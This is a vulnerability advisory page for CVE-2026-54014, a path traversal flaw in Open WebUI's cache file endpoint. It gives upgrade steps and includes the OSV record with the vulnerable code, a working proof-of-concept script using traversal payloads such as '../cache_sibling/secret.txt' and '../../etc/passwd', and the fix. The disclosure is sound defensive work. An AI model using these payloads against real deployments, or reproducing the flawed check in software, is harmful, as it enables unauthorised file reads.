CVE-2026-54014: Open WebUI Path Traversal Vulnerability
MODERATECVE-2026-54014 is a MODERATE (CVSS 4.3) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Open WebUI libraries in the PyPI ecosystem. The issue involves sibling-prefix path traversal via /cache/{path}. Remediation is available by upgrading affected packages to version 0.9.6.
CVE-2026-54014 at a Glance
Security Impact
CVSS: 4.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-54014
To remediate this vulnerability, upgrade all affected Open WebUI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.9.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54014, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open WebUI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.6), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Open WebUI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54014 Affected Open WebUI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.9.6
|
0.9.6
|
References
Frequently Asked Questions
What is CVE-2026-54014?
Which Open WebUI versions are affected?
What version fixes CVE-2026-54014?
Is open-webui affected?
What is the CVSS score of CVE-2026-54014?
What CWE is associated with CVE-2026-54014?
How can I check PyPI dependencies for CVE-2026-54014?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-j2c8-v969-8r5c",
"modified" : "2026-07-20T21:05:21Z",
"published" : "2026-06-17T14:16:25Z",
"aliases" : [ "CVE-2026-54014" ],
"summary" : "Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}",
"details" : "## Summary\n\nA path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` — any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked — `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get('/cache/{path:path}')\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n # prevent path traversal\n if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep\n raise HTTPException(status_code=404, detail='File not found')\n if not os.path.isfile(file_path):\n raise HTTPException(status_code=404, detail='File not found')\n return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# → \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# → True ← BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# → False ← BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n id = \"poc\"\n email = \"poc@test\"\n role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n scope = {\n \"type\": \"http\",\n \"method\": \"GET\",\n \"path\": path,\n \"query_string\": b\"\",\n \"headers\": [(b\"host\", b\"localhost\")],\n \"root_path\": \"\",\n \"asgi\": {\"version\": \"3.0\"},\n }\n response_started = False\n status_code = None\n body_parts = []\n\n async def receive():\n return {\"type\": \"http.request\", \"body\": b\"\"}\n\n async def send(message):\n nonlocal response_started, status_code\n if message[\"type\"] == \"http.response.start\":\n response_started = True\n status_code = message[\"status\"]\n elif message[\"type\"] == \"http.response.body\":\n body_parts.append(message.get(\"body\", b\"\"))\n\n await app(scope, receive, send)\n return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n deep_blocked = s3 == 404\n\n print(f\"package: open_webui (pip installed)\")\n print(f\"version: 0.9.5\")\n print(f\"function: serve_cache_file (GET /cache/{{path}})\")\n print(f\"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))\")\n print(f\"bypass: startswith without trailing os.sep allows sibling-prefix match\")\n print()\n print(f\"CACHE_DIR: {CACHE_DIR}\")\n print(f\"SIBLING: {SIBLING_DIR}\")\n print()\n print(f\"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}\")\n print(f\"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}\")\n print(f\"[control] /cache/../../etc/passwd status={s3} (should be 404)\")\n print()\n print(f\"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}\")\n\n shutil.rmtree(TEMP_DATA, ignore_errors=True)\n sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n\n```\n\n### PoC output \n\n<img width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" />\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n raise HTTPException(status_code=404, detail='File not found')\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.9.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54014"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-j2c8-v969-8r5c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2736.yaml"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/open-webui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-17T14:16:25Z",
"nvd_published_at" : "2026-06-23T18:18:06Z"
}
}